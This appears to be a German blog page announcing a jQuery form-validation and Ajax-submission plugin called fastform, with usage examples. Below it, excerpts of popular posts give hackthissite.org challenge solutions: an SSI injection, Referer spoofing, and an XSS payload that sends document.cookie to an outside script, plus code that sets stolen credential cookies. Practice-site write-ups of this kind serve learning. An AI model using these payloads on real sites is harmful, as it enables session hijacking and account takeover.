Direkt zum Hauptbereich

fastform boost your ajax form development time!



Fastform ist mein neustes Plugin für jQuery. Mit diesem Plugin ist es möglich Formulare mittels Ajax an den Server zu senden ohne sich um die Daten zu kümmern. Es spart einiges an Entwicklungszeit.

Um dies zu verdeutlichen zeige ich hier mal den kleinsten Aufruf von fastform:

$('#formularId').fastform({ajax:true});
Mit diesem Aufruf wird ein Formular an die im action Attribute angegeben url gesendet mittels Post. Das Plugin kann aber auch nur dazu benutzt werden ein Formular zu validieren. Wenn ich nur die Validierungsfunktion nutzen möchte und die Daten in einem Objekt bekommen möchte dann reicht sogar dieser Aufruf:
var data = $('#formularId').fastform(); 
        if(data == false) { //fehler im Formular, der Nutzer sieht nun die Fehlerhaften Elemente rot markiert.
          return false;
        } else {
           // hier kann ich die Daten selbst mit $.ajax versenden oder irgendwas anderes tolles damit machen
        }


Wie man sieht spart dieses Plugin in der tat viel Zeit und beseitigt auch die eine oder andere Fehlerquelle da neue Formularfelder direkt mit versendet werden.

Damit das Plugin weiß welche Felder required sind nutzt es das Attribute "required='required'" aus html5. Sobald ein Feld dieses Attribute besitzt muss es ausgefüllt sein damit das Formular versendet werden kann.

fastform ist ein jquery Plugin was die Entwicklungszeit von Ajax Formularen rapide verringert. Mehr Informationen zum Plugin auf der Projektseite:

http://kayschneider.github.com/fastform/

Kommentare

Beliebte Posts aus diesem Blog

hackthissite.org Level 8 Basic Lösung

Hier ist ein eingabeformular in welches du deinen Namen schreiben sollst damit es eine Datei anlegen kann. Zum besseren Verständniss einfach mal testen, also "Mustermann" und auf submit klicken. Nun erscheint der Text: Your file has been saved. Please click here view the file. Hier ist die URL der Datei, welche angelegt wurde: http://www.hackthissite.org/missions/basic/8/tmp/mnxdljrz.shtml Genau, es ist eine shtml Datei also ein Server Side Include (SSI) damit kann man Befehle auf dem Server ausführen lassen und das ergebniss wird dann dem client übergeben! Hier musst du aber das Verzeichniss auslesen damit wir informationen über den Inhalt bekommen. Geb nun einfach mal folgendes in das Feld für den Namen ein: Richtig, ls bei unix/linux "list directory" zeigt den Inhalt eines Verzeichnisses an. Das neu hinzugefügte hier ist "ls ../" ../ heißt ein Verzeichniss nach oben. Also nicht in http://www.hackthissite.org/missions/basic/...

hackthissite.org Level 5 Basic Lösung

Level 5 ist fast gleich wie der Level 4 nur mit dem kleinen Unterschied dass das Skript auf dem Server nun auch schaut woher die Anfrage kommt. Es überprüft also die Referer Url. Damit wir dies umgehen können wird das Skript aus 4 nur Modifiziert. Der HTTP Anfrage wird folgende Zeile hinzugefügt: Referer:http://www.hackthissite.org/missions/basic/5/index.php\r\n So und schon ist auch dass Problem behoben! Das Skript level5.php gibts auch zum Download.

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...